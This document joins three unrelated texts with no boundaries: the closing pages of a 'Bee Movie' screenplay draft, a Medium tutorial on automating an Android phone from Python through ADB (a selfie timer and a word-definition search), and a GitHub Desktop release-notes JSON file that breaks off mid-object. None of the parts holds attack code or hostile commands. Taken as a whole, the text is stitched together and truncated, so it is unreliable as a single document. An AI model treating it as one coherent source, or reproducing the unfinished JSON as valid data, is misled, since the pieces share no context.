Ditchwater, there’s a honey bee on that plane. BUD Oh, I’m quite familiar with Mr. Benson’s work, and his no-account compadres. Haven’t they done enough damage already? JEANETTE CHUNG But isn’t he your only hope right now? BUD Come on, technically a bee shouldn’t be able to fly at all. CUT TO: INT. COCKPIT. Barry REACTS BUD The wings are too small, their bodies are too big-- "Bee Movie" - JS REVISIONS 8/13/07 116. BARRY (over PA) Hey, hold on a second. Haven’t we heard this million times? The surface area of the wings, and the body mass doesn’t make sense? JEANETTE CHUNG Get this on the air. CAMERAMAN You got it! CUT TO: INT. BEE TV CONTROL ROOM An engineer throws a switch. BEE ENGINEER Stand by. We’re going live. The “ON AIR” sign illuminates. CUT TO: INT. VARIOUS SHOTS OF NEW HIVE CITY The news report plays on TV. The pollen jocks are sitting around, playing paddle-ball, Wheel-o, and one of them is spinning his helmet on his finger. Buzzwell is in an office cubicle, playing computer solitaire. Barry’s family and Adam watch from their living room. Bees sitting on the street curb turn around to watch the TV. BARRY Mr. Ditchwater, the way we work may be a mystery to you, because making honey takes a lot of bees doing a lot of small jobs. But let me tell you something about a small job. If you do it really well, it makes a big difference. More than we realized. To us, to everyone. That’s why I want to get bees back to doing what we do best. "Bee Movie" - JS REVISIONS 8/13/07 117. Working together. That’s the bee way. We’re not made of Jello. We get behind a fellow. Black and yellow. CROWD OF BEES Hello! CUT TO: INT. COCKPIT Barry is giving orders to Vanessa. BARRY Left, right, down, hover. VANESSA Hover? BARRY Forget hover. VANESSA You know what? This isn’t so hard. Vanessa pretends to HONK THE HORN. VANESSA (CONT’D) Beep, beep! Beep, beep! A BOLT OF LIGHTNING HITS the plane. The plane takes a sharp dip. VANESSA (CONT’D) Barry, what happened? BARRY (noticing the control panel) Wait a minute. I think we were on autopilot that whole time. VANESSA That may have been helping me. BARRY And now we’re not! VANESSA (V.O.) (folding her arms) Well, then it turns out I cannot fly a plane. "Bee Movie" - JS REVISIONS 8/13/07 118. BARRY (CONT'D) Vanessa struggles with the yoke. CUT TO: EXT. AIRPLANE The airplane goes into a steep dive. CUT TO: SEQ. 4175 - “CRASH LANDING” INT. J-GATE An ALERT SIGN READING: “Hive Alert. We Need:” Then the SIGNAL goes from “Two Bees” “Some Bees” “Every Bee There Is” Lou Loduca gathers the pollen jocks at J-Gate. LOU LODUCA All of you, let’s get behind this fellow. Move it out! The bees follow Lou Loduca, and EXIT J-Gate. CUT TO: INT. AIRPLANE COCKPIT BARRY Our only chance is if I do what I would do, and you copy me with the wings of the plane! VANESSA You don’t have to yell. BARRY I’m not yelling. We happen to be in a lot of trouble here. VANESSA It’s very hard to concentrate with that panicky tone in your voice. BARRY It’s not a tone. I’m panicking! CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 119. EXT. JFK AIRPORT ANGLE ON: The bees arriving and massing at the airport. CUT TO: INT. COCKPIT Barry and Vanessa alternately SLAP EACH OTHER IN THE FACE. VANESSA I don’t think I can do this. BARRY Vanessa, pull yourself together. Listen to me, you have got to snap out of it! VANESSA You snap out of it! BARRY You snap out of it! VANESSA You snap out of it! BARRY You snap out of it! VANESSA You snap out of it! CUT TO: EXT. AIRPLANE A GIGANTIC SWARM OF BEES flies in to hold the plane up. CUT TO: INT. COCKPIT - CONTINUOUS BARRY You snap out of it! VANESSA You snap out of it! "Bee Movie" - JS REVISIONS 8/13/07 120. BARRY You snap-- VANESSA Hold it! BARRY (about to slap her again) Why? Come on, it’s my turn. VANESSA How is the plane flying? Barry’s antennae ring. BARRY I don’t know. (answering) Hello? CUT TO: EXT. AIRPLANE ANGLE ON: The underside of the plane. The pollen jocks have massed all around the underbelly of the plane, and are holding it up. LOU LODUCA Hey Benson, have you got any flowers for a happy occasion in there? CUT TO: INT. COCKPIT Lou, Buzz, Splitz, and Jackson come up alongside the cockpit. BARRY The pollen jocks! VANESSA They do get behind a fellow. BARRY Black and yellow. LOU LODUCA (over headset) Hello. "Bee Movie" - JS REVISIONS 8/13/07 121. Alright you two, what do you say we drop this tin can on the blacktop? VANESSA What blacktop? Where? I can’t see anything. Can you? BARRY No, nothing. It’s all cloudy. CUT TO: EXT. RUNWAY Adam SHOUTS. ADAM Come on, you’ve got to think bee, Barry. Thinking bee, thinking bee. ANGLE ON: Overhead shot of runway. The bees are in the formation of a flower. In unison they move, causing the flower to FLASH YELLOW AND BLACK. BEES (chanting) Thinking bee, thinking bee. CUT TO: INT. COCKPIT We see through the swirling mist and clouds. A GIANT SHAPE OF A FLOWER is forming in the middle of the runway. BARRY Wait a minute. I think I’m feeling something. VANESSA What? BARRY I don’t know, but it’s strong. And it’s pulling me, like a 27 million year old instinct. Bring the nose of the plane down. "Bee Movie" - JS REVISIONS 8/13/07 122. LOU LODUCA (CONT'D) EXT. RUNWAY All the bees are on the runway chanting “Thinking Bee”. CUT TO: INT. CONTROL TOWER RICK What in the world is on the tarmac? ANGLE ON: Dave OTS onto runway seeing a flower being formed by millions of bees. BUD Get some lights on that! CUT TO: EXT. RUNWAY ANGLE ON: AIRCRAFT LANDING LIGHT SCAFFOLD by the side of the runway, illuminating the bees in their flower formation. INT. COCKPIT BARRY Vanessa, aim for the flower! VANESSA Oh, okay? BARRY Cut the engines! VANESSA Cut the engines? BARRY We’re going in on bee power. Ready boys? LOU LODUCA Affirmative. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 123. INT. AIRPLANE COCKPIT BARRY Good, good, easy now. Land on that flower! Ready boys? Give me full reverse. LOU LODUCA Spin it around! The plane attempts to land on top of an “Aloha Airlines” plane with flowers painted on it. BARRY (V.O) I mean the giant black and yellow pulsating flower made of millions of bees! VANESSA Which flower? BARRY That flower! VANESSA I’m aiming at the flower! The plane goes after a FAT GUY IN A HAWAIIAN SHIRT. BARRY (V.O) That’s a fat guy in a flowered shirt! The other other flower! The big one. He snaps a photo and runs away. BARRY (CONT'D) Full forward. Ready boys? Nose down. Bring your tail up. Rotate around it. VANESSA Oh, this is insane, Barry. BARRY This is the only way I know how to fly. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 124. AIR TRAFFIC CONTROL TOWER BUD Am I koo-koo kachoo, or is this plane flying in an insect-like pattern? CUT TO: EXT. RUNWAY BARRY (V.O) Get your nose in there. Don’t be afraid of it. Smell it. Full reverse! Easy, just drop it. Be a part of it. Aim for the center! Now drop it in. Drop it in, woman! The plane HOVERS and MANEUVERS, landing in the center of the giant flower, like a bee. The FLOWERS from the cargo hold spill out onto the runway. INT. AIPLANE CABIN The passengers are motionless for a beat. PASSENGER Come on already! They hear the “ding ding”, and all jump up to grab their luggage out of the overheads. SEQ. 4225 - “RUNWAY SPEECH” EXT. RUNWAY - CONTINUOUS The INFLATABLE SLIDES pop out the side of the plane. The passengers escape. Barry and Vanessa slide down out of the cockpit. Barry and Vanessa exhale a huge breath. VANESSA Barry, we did it. You taught me how to fly. Vanessa raises her hand up for a high five. "Bee Movie" - JS REVISIONS 8/13/07 125. BARRY Yes. No high five. VANESSA Right. ADAM Barry, it worked. Did you see the giant flower? BARRY What giant flower? Where? Of course I saw the flower! That was genius, man. Genius! ADAM Thank you. BARRY But we’re not done yet. Barry flies up to the wing of the plane, and addresses the bee crowd. BARRY (CONT’D) Listen everyone. This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We’re the only ones who make honey, pollinate flowers, and dress like this. If we’re going to survive as a species, this is our moment. So what do you all say? Are we going to be bees, or just Museum of Natural History key chains? BEES We’re bees! KEYCHAIN BEE Keychain! BARRY Then follow me... Except Keychain. BUZZ Hold on Barry. You’ve earned this. Buzz puts a pollen jock jacket and helmet with Barry’s name on it on Barry. "Bee Movie" - JS REVISIONS 8/13/07 126. BARRY I’m a pollen jock! (looking at the jacket. The sleeves are a little long) And it’s a perfect fit. All I’ve got to do are the sleeves. The Pollen Jocks toss Barry a gun. BARRY (CONT’D) Oh yeah! ANGLE ON: Martin and Janet Benson. JANET BENSON That’s our Barry. All the bees descend upon the flowers on the tarmac, and start collecting pollen. CUT TO: SEQ. 4250 - “RE-POLLINATION” EXT. SKIES - CONTINUOUS The squadron FLIES over the city, REPOLLINATING trees and flowers as they go. Barry breaks off from the group, towards Vanessa’s flower shop. CUT TO: EXT. VANESSA’S FLOWER SHOP - CONTINUOUS Barry REPOLLINATES Vanessa’s flowers. CUT TO: EXT. CENTRAL PARK - CONTINUOUS ANGLE ON: Timmy with a frisbee, as the bees fly by. TIMMY Mom, the bees are back! "Bee Movie" - JS REVISIONS 8/13/07 127. Central Park is completely repollinated by the bees. DISSOLVE TO: INT. HONEX - CONTINUOUS Honex is back to normal and everyone is busily working. ANGLE ON: Adam, putting his Krelman hat on. ADAM If anyone needs to make a call, now’s the time. I’ve got a feeling we’ll be working late tonight! The bees CHEER. CUT TO: SEQ. 4355 EXT: VANESSA’S FLOWER SHOP With a new sign out front. “Vanessa & Barry: Flowers, Honey, Legal Advice” DISSOLVE TO: INT: FLOWER COUNTER Vanessa doing a brisk trade with many customers. CUT TO: INT: FLOWER SHOP - CONTINUOUS Vanessa is selling flowers. In the background, there are SHELVES STOCKED WITH HONEY. VANESSA (O.C.) Don’t forget these. Have a great afternoon. Yes, can I help who’s next? Who’s next? Would you like some honey with that? It is beeapproved. SIGN ON THE BACK ROOM DOOR READS: “Barry Benson: Insects at Law”. "Bee Movie" - JS REVISIONS 8/13/07 128. Camera moves into the back room. ANGLE ON: Barry. ANGLE ON: Barry’s COW CLIENT. COW Milk, cream, cheese...it’s all me. And I don’t see a nickel. BARRY Uh huh? Uh huh? COW (breaking down) Sometimes I just feel like a piece of meat. BARRY I had no idea. VANESSA Barry? I’m sorry, have you got a moment? BARRY Would you excuse me? My mosquito associate here will be able to help you. Mooseblood ENTERS. MOOSEBLOOD Sorry I’m late. COW He’s a lawyer too? MOOSEBLOOD Ma’am, I was already a bloodsucking parasite. All I needed was * a briefcase. * ANGLE ON: Flower Counter. VANESSA (to customer) Have a great afternoon! (to Barry) Barry, I just got this huge tulip order for a wedding, and I can’t get them anywhere. "Bee Movie" - JS REVISIONS 8/13/07 129. BARRY Not a problem, Vannie. Just leave it to me. Vanessa turns back to deal with a customer. VANESSA You’re a life-saver, Barry. (to the next customer) Can I help who’s next? Who’s next? ANGLE ON: Vanessa smiling back at Barry. Barry smiles too, then snaps himself out of it. BARRY (speaks into his antennae) Alright. Scramble jocks, it’s time to fly! VANESSA Thank you, Barry! EXT. FLOWER SHOP - CONTINUOUS ANGLE ON: Ken and Andy walking down the street. KEN (noticing the new sign) Augh! What in the world? It’s that bee again! ANDY (guiding Ken protectively) Let it go, Kenny. KEN That bee is living my life! When will this nightmare end? ANDY Let it all go. They don’t break stride. ANGLE ON: Camera in front of Barry as he flies out the door and up into the sky. Pollen jocks fold in formation behind him as they zoom into the park. BARRY (to Splitz) Beautiful day to fly. "Bee Movie" - JS REVISIONS 8/13/07 130. JACKSON Sure is. BARRY Between you and me, I was dying to get out of that office. FADE OUT: "Bee Movie" - JS REVISIONS 8/13/07 131.

Open in app Get started ITNEXT Published in ITNEXT You have 2 free member-only stories left this month. Sign up for Medium and get an extra one Kush Kush Follow Apr 15, 2021 · 7 min read · Listen Save How you can Control your Android Device with Python Photo by Caspar Camille Rubin on Unsplash Photo by Caspar Camille Rubin on Unsplash Introduction A while back I was thinking of ways in which I could annoy my friends by spamming them with messages for a few minutes, and while doing some research I came across the Android Debug Bridge. In this quick guide I will show you how you can interface with it using Python and how to create 2 quick scripts. The ADB (Android Debug Bridge) is a command line tool (CLI) which can be used to control and communicate with an Android device. You can do many things such as install apps, debug apps, find hidden features and use a shell to interface with the device directly. To enable the ADB, your device must firstly have Developer Options unlocked and USB debugging enabled. To unlock developer options, you can go to your devices settings and scroll down to the about section and find the build number of the current software which is on the device. Click the build number 7 times and Developer Options will be enabled. Then you can go to the Developer Options panel in the settings and enable USB debugging from there. Now the only other thing you need is a USB cable to connect your device to your computer. Here is what todays journey will look like: Installing the requirements Getting started The basics of writing scripts Creating a selfie timer Creating a definition searcher Installing the requirements The first of the 2 things we need to install, is the ADB tool on our computer. This comes automatically bundled with Android Studio, so if you already have that then do not worry. Otherwise, you can head over to the official docs and at the top of the page there should be instructions on how to install it. Once you have installed the ADB tool, you need to get the python library which we will use to interface with the ADB and our device. You can install the pure-python-adb library using pip install pure-python-adb. Optional: To make things easier for us while developing our scripts, we can install an open-source program called scrcpy which allows us to display and control our android device with our computer using a mouse and keyboard. To install it, you can head over to the Github repo and download the correct version for your operating system (Windows, macOS or Linux). If you are on Windows, then extract the zip file into a directory and add this directory to your path. This is so we can access the program from anywhere on our system just by typing in scrcpy into our terminal window. Getting started Now that all the dependencies are installed, we can start up our ADB and connect our device. Firstly, connect your device to your PC with the USB cable, if USB debugging is enabled then a message should pop up asking if it is okay for your PC to control the device, simply answer yes. Then on your PC, open up a terminal window and start the ADB server by typing in adb start-server. This should print out the following messages: * daemon not running; starting now at tcp:5037 * daemon started successfully If you also installed scrcpy, then you can start that by just typing scrcpy into the terminal. However, this will only work if you added it to your path, otherwise you can open the executable by changing your terminal directory to the directory of where you installed scrcpy and typing scrcpy.exe. Hopefully if everything works out, you should be able to see your device on your PC and be able to control it using your mouse and keyboard. Now we can create a new python file and check if we can find our connected device using the library: Here we import the AdbClient class and create a client object using it. Then we can get a list of devices connected. Lastly, we get the first device out of our list (it is generally the only one there if there is only one device connected). The basics of writing scripts The main way we are going to interface with our device is using the shell, through this we can send commands to simulate a touch at a specific location or to swipe from A to B. To simulate screen touches (taps) we first need to work out how the screen coordinates work. To help with these we can activate the pointer location setting in the developer options. Once activated, wherever you touch on the screen, you can see that the coordinates for that point appear at the top. The coordinate system works like this: A diagram to show how the coordinate system works A diagram to show how the coordinate system works The top left corner of the display has the x and y coordinates (0, 0) respectively, and the bottom right corners’ coordinates are the largest possible values of x and y. Now that we know how the coordinate system works, we need to check out the different commands we can run. I have made a list of commands and how to use them below for quick reference: Input tap x y Input text “hello world!” Input keyevent eventID Here is a list of some common eventID’s: 3: home button 4: back button 5: call 6: end call 24: volume up 25: volume down 26: turn device on or off 27: open camera 64: open browser 66: enter 67: backspace 207: contacts 220: brightness down 221: brightness up 277: cut 278: copy 279: paste If you wanted to find more, here is a long list of them here. Creating a selfie timer Now we know what we can do, let’s start doing it. In this first example I will show you how to create a quick selfie timer. To get started we need to import our libraries and create a connect function to connect to our device: You can see that the connect function is identical to the previous example of how to connect to your device, except here we return the device and client objects for later use. In our main code, we can call the connect function to retrieve the device and client objects. From there we can open up the camera app, wait 5 seconds and take a photo. It’s really that simple! As I said before, this is simply replicating what you would usually do, so thinking about how to do things is best if you do them yourself manually first and write down the steps. Creating a definition searcher We can do something a bit more complex now, and that is to ask the browser to find the definition of a particular word and take a screenshot to save it on our computer. The basic flow of this program will be as such: 1. Open the browser 2. Click the search bar 3. Enter the search query 4. Wait a few seconds 5. Take a screenshot and save it But, before we get started, you need to find the coordinates of your search bar in your default browser, you can use the method I suggested earlier to find them easily. For me they were (440, 200). To start, we will have to import the same libraries as before, and we will also have our same connect method. In our main function we can call the connect function, as well as assign a variable to the x and y coordinates of our search bar. Notice how this is a string and not a list or tuple, this is so we can easily incorporate the coordinates into our shell command. We can also take an input from the user to see what word they want to get the definition for: We will add that query to a full sentence which will then be searched, this is so that we can always get the definition. After that we can open the browser and input our search query into the search bar as such: Here we use the eventID 66 to simulate the press of the enter key to execute our search. If you wanted to, you could change the wait timings per your needs. Lastly, we will take a screenshot using the screencap method on our device object, and we can save that as a .png file: Here we must open the file in the write bytes mode because the screencap method returns bytes representing the image. If all went according to plan, you should have a quick script which searches for a specific word. Here it is working on my phone: A GIF to show how the definition searcher example works on my phone A GIF to show how the definition searcher example works on my phone Final thoughts Hopefully you have learned something new today, personally I never even knew this was a thing before I did some research into it. The cool thing is, that you can do anything you normal would be able to do, and more since it just simulates your own touches and actions! I hope you enjoyed the article and thank you for reading! 💖 468 9 468 9 More from ITNEXT Follow ITNEXT is a platform for IT developers & software engineers to share knowledge, connect, collaborate, learn and experience next-gen technologies. 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{ "releases": { "2.0.4": [ "[Fixed] Refresh for Enterprise repositories did not handle API error querying branches - #7713", "[Fixed] Missing \"Discard all changes\" context menu in Changes header - #7696", "[Fixed] \"Select all\" keyboard shortcut not firing on Windows - #7759" ], "2.0.4-beta1": [ "[Fixed] Refresh for Enterprise repositories did not handle API error querying branches - #7713", "[Fixed] Missing \"Discard all changes\" context menu in Changes header - #7696", "[Fixed] \"Select all\" keyboard shortcut not firing on Windows - #7759" ], "2.0.4-beta0": [ "[Added] Extend crash reports with more information about application state for troubleshooting - #7693", "[Fixed] Crash when attempting to update pull requests with partially updated repository information - #7688", "[Fixed] Crash when loading repositories after signing in through the welcome flow - #7699" ], "2.0.3": [ "[Fixed] Crash when loading repositories after signing in through the welcome flow - #7699" ], "2.0.2": [ "[Added] Extend crash reports with more information about application state for troubleshooting - #7693" ], "2.0.1": [ "[Fixed] Crash when attempting to update pull requests with partially updated repository information - #7688" ], "2.0.0": [ "[New] You can now choose to bring your changes with you to a new branch or stash them on the current branch when switching branches - #6107", "[New] Rebase your current branch onto another branch using a guided flow - #5953", "[New] Repositories grouped by owner, and recent repositories listed at top - #6923 #7132", "[New] Suggested next steps now includes suggestion to create a pull request after publishing a branch - #7505", "[Added] .resx syntax highlighting - #7235. Thanks @say25!", "[Added] \"Exit\" menu item now has accelerator and access key - #6507. Thanks @AndreiMaga!", "[Added] Help menu entry to view documentation about keyboard shortcuts - #7184", "[Added] \"Discard all changes\" action under Branch menu - #7394. Thanks @ahuth!", "[Fixed] \"Esc\" key does not close Repository or Branch list - #7177. Thanks @roottool!", "[Fixed] Attempting to revert commits not on current branch results in an error - #6300. Thanks @msftrncs!", "[Fixed] Emoji rendering in app when account name has special characters - #6909", "[Fixed] Files staged outside Desktop for deletion are incorrectly marked as modified after committing - #4133", "[Fixed] Horizontal scroll bar appears unnecessarily when switching branches - #7212", "[Fixed] Icon accessibility labels fail when multiple icons are visible at the same time - #7174", "[Fixed] Incorrectly encoding URLs affects issue filtering - #7506", "[Fixed] License templates do not end with newline character - #6999", "[Fixed] Conflicts banners do not hide after aborting operation outside Desktop - #7046", "[Fixed] Missing tooltips for change indicators in the sidebar - #7174", "[Fixed] Mistaken classification of all crashes being related to launch - #7126", "[Fixed] Unable to switch keyboard layout and retain keyboard focus while using commit form - #6366. Thanks @AndreiMaga!", "[Fixed] Prevent console errors due to underlying component unmounts - #6970", "[Fixed] Menus disabled by activity in inactive repositories - #6313", "[Fixed] Race condition with Git remote lookup may cause push to incorrect remote - #6986", "[Fixed] Restore GitHub Desktop to main screen if external monitor removed - #7418 #2107. Thanks @say25!", "[Fixed] Tab Bar focus ring outlines clip into other elements - #5802. Thanks @Daniel-McCarthy!", "[Improved] \"Automatically Switch Theme\" on macOS checks theme on launch - #7116. Thanks @say25!", "[Improved] \"Add\" button in repository list should always be visible - #6646", "[Improved] Pull Requests list loads and updates pull requests from GitHub more quickly - #7501 #7163", "[Improved] Indicator hidden in Pull Requests list when there are no open pull requests - #7258", "[Improved] Manually refresh pull requests instead of having to wait for a fetch - #7027", "[Improved] Accessibility attributes for dialog - #6496. Thanks @HirdayGupta!", "[Improved] Alignment of icons in repository list - #7133", "[Improved] Command line interface warning when using \"github open\" with a remote URL - #7452. Thanks @msztech!", "[Improved] Error message when unable to publish private repository to an organization - #7472", "[Improved] Initiate cloning by pressing \"Enter\" when a repository is selected - #6570. Thanks @Daniel-McCarthy!", "[Improved] Lowercase pronoun in \"Revert this commit\" menu item - #7534", "[Improved] Styles for manual resolution button in \"Resolve Conflicts\" dialog - #7302", "[Improved] Onboarding language for blank slate components - #6638. Thanks @jamesgeorge007!", "[Improved] Explanation for manually conflicted text files in diff viewer - #7611", "[Improved] Visual progress on \"Remove Repository\" and \"Discard Changes\" dialogs - #7015. Thanks @HashimotoYT!", "[Improved] Menu items now aware of force push state and preference to confirm repository removal - #4976 #7138", "[Removed] Branch and pull request filter text persistence - #7437", "[Removed] \"Discard all changes\" context menu item from Changes list - #7394. Thanks @ahuth!" ], "1.7.1-beta1": [ "[Fixed] Tab Bar focus ring outlines clip into other elements - #5802. Thanks @Daniel-McCarthy!", "[Improved] Show explanation for manually conflicted text files in diff viewer - #7611", "[Improved] Alignment of entries in repository list - #7133" ], "1.7.0-beta9": [ "[Fixed] Add warning when renaming a branch with a stash - #7283", "[Fixed] Restore Desktop to main screen when external monitor removed - #7418 #2107. Thanks @say25!", "[Improved] Performance for bringing uncommitted changes to another branch - #7474" ], "1.7.0-beta8": [ "[Added] Accelerator and access key to \"Exit\" menu item - #6507. Thanks @AndreiMaga!", "[Fixed] Pressing \"Shift\" + \"Alt\" in Commit summary moves input-focus to app menu - #6366. Thanks @AndreiMaga!", "[Fixed] Incorrectly encoding URLs affects issue filtering - #7506", "[Improved] Command line interface warns with helpful message when given a remote URL - #7452. Thanks @msztech!", "[Improved] Lowercase pronoun in \"Revert this commit\" menu item - #7534", "[Improved] \"Pull Requests\" list reflects pull requests from GitHub more quickly - #7501", "[Removed] Branch and pull request filter text persistence - #7437" ], "1.7.0-beta7": [ "[Improved] Error message when unable to publish private repository to an organization - #7472", "[Improved] \"Stashed changes\" button accessibility improvements - #7274", "[Improved] Performance improvements for bringing changes to another branch - #7471", "[Improved] Performance improvements for detecting conflicts from a restored stash - #7476" ], "1.7.0-beta6": [ "[Fixed] Stash viewer does not disable restore button when changes present - #7409", "[Fixed] Stash viewer does not center \"no content\" text - #7299", "[Fixed] Stash viewer pane width not remembered between sessions - #7416", "[Fixed] \"Esc\" key does not close Repository or Branch list - #7177. Thanks @roottool!", "[Fixed] Stash not cleaned up when it conflicts with working directory contents - #7383", "[Improved] Branch names remain accurate in dialog when stashing and switching branches - #7402", "[Improved] Moved \"Discard all changes\" to Branch menu to prevent unintentionally discarding all changes - #7394. Thanks @ahuth!", "[Improved] UI responsiveness when using keyboard to choose branch in rebase flow - #7407" ], "1.7.0-beta5": [ "[Fixed] Handle warnings if stash creation encounters file permission issue - #7351", "[Fixed] Add \"View stash entry\" action to suggested next steps - #7353", "[Fixed] Handle and recover from failed rebase flow starts - #7223", "[Fixed] Reverse button order when viewing a stash on macOS - #7273", "[Fixed] Prevent console errors due to underlying component unmounts - #6970", "[Fixed] Rebase success banner always includes base branch name - #7220", "[Improved] Added explanatory text for \"Restore\" button for stashes - #7303", "[Improved] Ask for confirmation before discarding stash - #7348", "[Improved] Order stashed changes files alphabetically - #7327", "[Improved] Clarify \"Overwrite Stash Confirmation\" dialog text - #7361", "[Improved] Message shown in rebase setup when target branch is already rebased - #7343", "[Improved] Update stashing prompt verbiage - #7393.", "[Improved] Update \"Start Rebase\" dialog verbiage - #7391", "[Improved] Changes list now reflects what will be committed when handling rebase conflicts - #7006" ], "1.7.0-beta4": [ "[Fixed] Manual conflict resolution choice not updated when resolving rebase conflicts - #7255", "[Fixed] Menu items don't display the expected verbiage for force push and removing a repository - #4976 #7138" ], "1.7.0-beta3": [ "[New] Users can choose to bring changes with them to a new branch or stash them on the current branch when switching branches - #6107", "[Added] GitHub Desktop keyboard shortcuts available in Help menu - #7184", "[Added] .resx file extension highlighting support - #7235. Thanks @say25!", "[Fixed] Attempting to revert commits not on current branch results in an error - #6300. Thanks @msftrncs!", "[Improved] Warn users before rebase if operation will require a force push after rebase complete - #6963", "[Improved] Do not show the number of pull requests when there are no open pull requests - #7258", "[Improved] Accessibility attributes for dialog - #6496. Thanks @HirdayGupta!", "[Improved] Initiate cloning by pressing \"Enter\" when a repository is selected - #6570. Thanks @Daniel-McCarthy!", "[Improved] Manual Conflicts button styling - #7302", "[Improved] \"Add\" button in repository list should always be visible - #6646" ], "1.7.0-beta2": [ "[New] Rebase your current branch onto another branch using a guided flow - #5953", "[Fixed] Horizontal scroll bar appears unnecessarily when switching branches - #7212", "[Fixed] License templates do not end with newline character - #6999", "[Fixed] Merge/Rebase conflicts banners do not clear when aborting the operation outside Desktop - #7046", "[Fixed] Missing tooltips for change indicators in the sidebar - #7174", "[Fixed] Icon accessibility labels fail when multiple icons are visible at the same time - #7174", "[Improved] Pull requests load faster and PR build status updates automatically - #7163" ], "1.7.0-beta1": [ "[New] Recently opened repositories appear at the top of the repository list - #7132", "[Fixed] Error when selecting diff text while diff is updating - #7131", "[Fixed] Crash when unable to create log file on disk - #7096", "[Fixed] Race condition with remote lookup could cause push to go to incorrect remote - #6986", "[Fixed] Mistaken classification of all crashes being related to launch - #7126", "[Fixed] Prevent menus from being disabled by activity in inactive repositories - #6313", "[Fixed] \"Automatically Switch Theme\" on macOS does not check theme on launch - #7116. Thanks @say25!", "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Emoji rendering in app broken when account name has special characters - #6909", "[Fixed] Files staged outside Desktop for deletion are incorrectly marked as modified after committing - #4133", "[Improved] Visual feedback on \"Remove Repository\" and \"Discard Changes\" dialogs to show progress - #7015. Thanks @HashimotoYT!", "[Improved] Onboarding language for blank slate components - #6638. Thanks @jamesgeorge007!", "[Improved] Manually refresh pull requests instead of having to wait for a fetch - #7027" ], "1.6.6": [ "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Handle error when unable to create log file for app - #7096", "[Fixed] Crash when selecting text while the underlying diff changes - #7131" ], "1.6.6-test1": [ "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Handle error when unable to create log file for app - #7096", "[Fixed] Crash when selecting text while the underlying diff changes - #7131" ], "1.6.5": [ "[Fixed] Publish Repository does not let you publish to an organization on your Enterprise account - #7052" ], "1.6.5-beta2": [ "[Fixed] Publish Repository does not let you choose an organization on your Enterprise account - #7052" ], "1.6.5-beta1": [ "[Fixed] Publish Repository does not let you choose an organization on your Enterprise account - #7052" ], "1.6.4": [ "[Fixed] Embedded Git not working for core.longpath usage in some environments - #7028", "[Fixed] \"Recover missing repository\" can get stuck in a loop - #7038" ], "1.6.4-beta1": [ "[Fixed] Embedded Git not working for core.longpath usage in some environments - #7028", "[Fixed] \"Recover missing repository\" can get stuck in a loop - #7038" ], "1.6.4-beta0": [ "[Removed] Option to discard when files would be overwritten by a checkout - #7016" ], "1.6.3": [ "[New] Display \"pull with rebase\" if a user has set this option in their Git config - #6553 #3422", "[Fixed] Context menu does not open when right clicking on the edges of files in Changes list - #6296. Thanks @JQuinnie!", "[Fixed] Display question mark in image when no commit selected in dark theme - #6915. Thanks @say25!", "[Fixed] No left padding for :emoji:/@user/#issue autocomplete forms. - #6895. Thanks @murrelljenna!", "[Fixed] Reinstate missing image and update illustration in dark theme when no local changes exist - #6894", "[Fixed] Resizing the diff area preserves text selection range - #2677", "[Fixed] Text selection in wrapped diff lines now allows selection of individual lines - #1551", "[Improved] Add option to fetch when a user needs to pull changes from the remote before pushing - #2738 #5451", "[Improved] Enable Git protocol v2 for fetch/push/pull operations - #6142", "[Improved] Moving mouse pointer outside visible diff while selecting a range of lines in a partial commit now automatically scrolls the diff - #658", "[Improved] Sign in form validates both username and password - #6952. Thanks @say25!", "[Improved] Update GitHub logo in \"About\" dialog - #5619. Thanks @HashimotoYT!" ], "1.6.3-beta4": [ "[Improved] Update GitHub logo in \"About\" dialog - #5619. Thanks @HashimotoYT!", "[Improved] Sign in form validates both username and password - #6952. Thanks @say25!" ], "1.6.3-beta3": [ "[New] Display \"pull with rebase\" if a user has set this option in their Git config - #6553 #3422", "[Added] Provide option to discard when files would be overwritten by a checkout - #6755. Thanks @mathieudutour!", "[Fixed] No left padding for :emoji:/@user/#issue autocomplete forms. - #6895. Thanks @murrelljenna!", "[Fixed] Reinstate missing image and fix illustration to work in the dark theme when there are no local changes - #6894", "[Fixed] Display question mark image when there is no commit selected in dark theme - #6915. Thanks @say25!", "[Improved] Group and filter repositories by owner - #6923", "[Improved] Add option to fetch when a user needs to pull changes from the remote before pushing - #2738 #5451" ], "1.6.3-beta2": [ "[Fixed] Text selection in wrapped diff lines now allows selection of individual lines - #1551", "[Fixed] Resizing the diff area preserves text selection range - #2677", "[Improved] Moving the mouse pointer outside of the visible diff while selecting a range of lines in a partial commit will now automatically scroll the diff - #658" ], "1.6.3-beta1": [ "[New] Branches that have been merged and deleted on GitHub.com will now be pruned after two weeks - #750", "[Fixed] Context menu doesn't open when right clicking on the edges of files in Changes list - #6296. Thanks @JQuinnie!", "[Improved] Enable Git protocol v2 for fetch/push/pull operations - #6142", "[Improved] Upgrade to Electron v3 - #6391" ], "1.6.2": [ "[Added] Allow users to also resolve manual conflicts when resolving merge conflicts - #6062", "[Added] Automatic switching between Dark and Light modes on macOS - #5037. Thanks @say25!", "[Added] Crystal and Julia syntax highlighting - #6710. Thanks @KennethSweezy!", "[Added] Lua and Fortran syntax highlighting - #6700. Thanks @SimpleBinary!", "[Fixed] Abbreviated commits are not long enough for large repositories - #6662. Thanks @say25!", "[Fixed] App menu bar visible on hover on Windows when in \"Let’s get started\" mode - #6669", "[Fixed] Fix pointy corners on commit message text area - #6635. Thanks @lisavogtsf!", "[Fixed] Inconsistent \"Reveal in …\" labels for context menus - #6466. Thanks @say25!", "[Fixed] Merge conflict conflict did not ask user to resolve some binary files - #6693", "[Fixed] Prevent concurrent fetches between user and status indicator checks - #6121 #5438 #5328", "[Fixed] Remember scroll positions in History and Changes lists - #5177 #5059. Thanks @Daniel-McCarthy!", "[Improved] Guided merge conflict resolution only commits changes relevant to the merge - #6349", "[Improved] Use higher contrast color for links in \"Merge Conflicts\" dialog - #6758", "[Improved] Add link to all release notes in Release Notes dialog - #6443. Thanks @koralcem!", "[Improved] Arrow for renamed/copied changes when viewing commit - #6519. Thanks @koralcem!", "[Improved] Updated verbiage for ignoring the files - #6689. Thanks @PaulViola!" ], 